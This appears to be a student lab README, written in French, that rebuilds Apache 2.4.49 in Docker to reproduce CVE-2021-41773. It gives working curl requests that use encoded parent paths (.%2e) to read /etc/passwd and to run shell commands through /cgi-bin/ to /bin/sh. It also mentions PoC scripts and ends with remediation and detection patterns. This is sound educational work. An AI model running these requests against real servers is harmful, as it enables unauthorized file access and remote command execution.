
WHS 4e promotion, Lee Hee-soo. Devoir rendu pour kr-vulhub.
Contributeurs
Apache HTTP Server 2.4.49 présente une vulnérabilité dans le processus de normalisation des chemins URL qui ne bloque pas correctement les chemins parents encodés.
Un attaquant peut utiliser des valeurs telles que .%2e pour sortir du répertoire que le serveur web est configuré pour exposer. Dans un environnement où l'accès aux répertoires externes est autorisé, les fichiers internes du serveur peuvent être exposés, et si la fonctionnalité CGI est activée, l'exécution d'un shell système peut conduire à une exécution de commandes à distance.
Dans ce projet, nous avons construit un environnement Apache HTTP Server 2.4.49 à l'aide de Docker et reproduit les deux scénarios suivants :
/etc/passwd via Path TraversalCVE-2021-41773/
├── Dockerfile
├── docker-compose.yml
├── README.md
├── apache/
│ └── httpd.conf
├── web/
│ └── index.html
├── scripts/
│ ├── poc.sh
│ └── poc.ps1
└── screenshots/
├── 01-container-status.png
├── 02-normal-service.png
├── 03-apache-version.png
├── 04-path-traversal.png
├── 05-rce-whoami.png
└── 06-poc-script.png
Construisez l'image Docker et lancez le conteneur avec la commande suivante :
docker compose up -d --build
Vérifiez l'état d'exécution du conteneur avec la commande suivante :
docker ps
Dans le résultat, vérifiez que le conteneur est à l'état Up et que le port 8080 de l'hôte est connecté au port 80 du conteneur.

Accédez à l'adresse suivante dans un navigateur :
http://localhost:8080
La page web Apache s'affiche normalement, confirmant que la configuration de l'environnement est terminée.

Vérifiez la version d'Apache à l'intérieur du conteneur avec la commande suivante :
docker compose exec web /usr/local/apache2/bin/httpd -v
Résultat :
Server version: Apache/2.4.49 (Unix)
Confirmation qu'Apache HTTP Server 2.4.49, affecté par CVE-2021-41773, est en cours d'exécution.

Les conditions suivantes sont appliquées dans cet environnement de laboratoire :
daemonLa configuration Apache autorise l'accès au chemin racine du système de fichiers comme suit :
<Directory "/">
AllowOverride None
Require all granted
</Directory>
La configuration suivante a également été utilisée pour l'exécution de CGI :
ScriptAlias /cgi-bin/ "/usr/local/apache2/cgi-bin/"
<Directory "/usr/local/apache2/cgi-bin">
AllowOverride None
Options +ExecCGI
Require all granted
</Directory>
La requête suivante accède au fichier /etc/passwd à l'intérieur du conteneur en utilisant un chemin parent encodé :
curl --path-as-is "http://localhost:8080/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"
.%2e est traité comme .. après décodage URL.
L'attaquant peut donc remonter plusieurs fois les répertoires parents à partir du chemin Alias, puis accéder au fichier /etc/passwd.
Résultat :
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

Le fichier /etc/passwd contient les informations des comptes système telles que le nom d'utilisateur, l'UID, le GID, le répertoire personnel et le shell de connexion.
Bien qu'il ne contienne pas de mots de passe réels, la vulnérabilité d'exposition d'informations est confirmée : un fichier interne du serveur, qui ne devrait pas être accessible à un utilisateur web externe, est exposé par une simple requête HTTP.
Dans un environnement de production réel, les informations sensibles suivantes pourraient être exposées de la même manière :
La requête suivante accède à /bin/sh en utilisant un Path Traversal et exécute la commande whoami :
curl -s --path-as-is \
-d "echo Content-Type: text/plain; echo; whoami" \
"http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"
Résultat :
daemon

Le chemin /cgi-bin/ étant configuré avec ScriptAlias, Apache n'effectue pas une simple lecture du fichier à ce chemin, mais l'exécute comme un programme CGI.
Après avoir accédé à /bin/sh via un Path Traversal, les commandes incluses dans le corps de la requête sont exécutées avec les privilèges du compte exécutant Apache.
Dans cet environnement, Apache est exécuté avec le compte suivant :
User daemon
Group daemon
Le résultat de l'exécution de la commande est donc également affiché sous le compte daemon.
Bien qu'il ne s'agisse pas des privilèges root, les menaces supplémentaires suivantes peuvent survenir :
Au lieu de commandes individuelles, vous pouvez utiliser le script PoC pour vérifier en une seule fois le service normal, le Path Traversal et l'exécution de commandes à distance.
powershell -ExecutionPolicy Bypass -File .\scripts\poc.ps1
bash scripts/poc.sh
Le script vérifie séquentiellement les éléments suivants :
[1] 정상 서비스 확인
[2] Path Traversal을 통한 /etc/passwd 접근
[3] CGI를 통한 id 명령 실행

N'utilisez pas Apache HTTP Server 2.4.49 et mettez à jour vers une version récente avec les correctifs de sécurité appliqués.
En environnement de production, le chemin racine du système de fichiers doit être bloqué par défaut.
<Directory "/">
Require all denied
</Directory>
Autorisez uniquement les répertoires web nécessaires.
<Directory "/usr/local/apache2/htdocs">
Require all granted
</Directory>
Si la fonctionnalité CGI n'est pas nécessaire, désactivez les éléments suivants :
mod_cgiScriptAliasExecCGILe processus Apache doit être exécuté avec un compte de service restreint et non root, et les fichiers et répertoires accessibles par ce compte doivent être réduits au minimum.
Les requêtes contenant des chemins anormaux tels que les suivants doivent être détectées et bloquées :
.%2e
%2e%2e
/cgi-bin/
docker compose down
Dans cet exercice, nous avons construit Apache HTTP Server 2.4.49 à l'aide d'un Dockerfile et configuré un environnement vulnérable reproductible via Docker Compose.
Nous avons confirmé que le fichier /etc/passwd à l'intérieur du conteneur, auquel un utilisateur web normal ne devrait pas avoir accès, était exposé via une requête Path Traversal.
Nous avons également confirmé que, dans un environnement où CGI est activé, il est possible d'accéder à /bin/sh et d'exécuter des commandes système avec les privilèges du compte daemon qui exécute Apache.
Ceci démontre que CVE-2021-41773 n'est pas seulement une simple exposition de chemins, mais une vulnérabilité pouvant conduire à une exécution de commandes à distance selon la configuration de l'environnement.